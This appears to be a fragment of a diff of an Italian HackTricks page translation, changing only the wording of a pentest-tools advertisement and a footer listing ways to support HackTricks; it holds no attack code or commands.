**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a scavare in profondità, aprire shell e divertirsi.
|
||||
**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -211,6 +211,6 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|